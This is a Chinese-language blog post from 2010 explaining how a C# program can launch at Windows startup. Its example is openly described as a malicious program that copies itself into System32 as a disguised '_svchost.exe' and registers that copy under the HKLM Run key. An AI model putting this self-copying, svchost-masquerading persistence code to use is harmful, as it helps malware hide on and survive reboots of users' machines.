會員登入 新朋友?立刻註冊
[說明]
文章會慢慢移新精讚 //n.sfs.tw
2019/2/23 星期六     [文章分類及列表]
精讚Blog logo 部落格是自己寫爽的
精讚部落 > 後端程設 > C# 寫法
C# 開機自動執行 無次要群組 列印 推薦
作者或來源 瘦河馬 2010-02-12 13:58:02
關鍵字 1開機啟動 2c#
此文完整連結 http://n.zipko.info/377.html
文章歡迎轉載,請尊重版權註明連結來源。

C# 讓程式開機自動執行

C# 如果要讓程式開機時自動執行,就把程式註冊到registry file 的 LocalMachine/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
一般程式只要在註冊表中指定自己程式的位置即可,但是有惡意的程式就會把自己複製到硬碟的任何地方,以下範例顯示一個 C# 的惡意程式,想要把自己隱藏在 system32 中,當他第一次被執行時,就會在 registry file 建立一筆開機啟動的記錄,也將自己複製一份到系統目錄下,改檔名為難以查覺的 _svchost.exe 。

1.  讓程式自行複製到系統中,此例為 Windows\System32 中

string system32 = System.Environment.SystemDirectory; //C:\Windows\System32
string src_file = System.Environment.CommandLine.Replace("\"", "");  //會取得程式的位址加雙引號,所以要移掉
string target_file =system32 + "\\_svchost.exe";  //  把檔名改為 _svchost.exe 偽裝
if (File.Exists(target_file))File.Delete(target_file);  // 如果該檔名已存在,則移除
File.Copy(src_file, target_file, true);   // 複製自己

2. 註冊到registry file中讓開機自動啟動
//using Microsoft.Win32;
RegistryKey rk1 = Registry.LocalMachine;
RegistryKey rk2 = rk1.CreateSubKey("SOFTWARE");
RegistryKey rk3 = rk2.CreateSubKey("Microsoft");
RegistryKey rk4 = rk3.CreateSubKey("Windows");
RegistryKey rk5 = rk4.CreateSubKey("CurrentVersion");
RegistryKey rk6 = rk5.CreateSubKey("Run");
rk6.SetValue("RemoteCallC", system32 + "\\_svchost.exe");
rk6.Close();

END
F B 留 言 版

留言結束請重新整理網頁顯示留言
相 關 文 章
同 群 組 其 他 文 章
隨 機 文 章
精讚部落版權所有(c) JinZan Blog http://n.zipko.info Author axer@tc.edu.tw. 最佳瀏器為Firefox,本網頁不支援IE6。[文章分類及列表]
本站最佳瀏覽解析度1024x768 網站建置 2009.11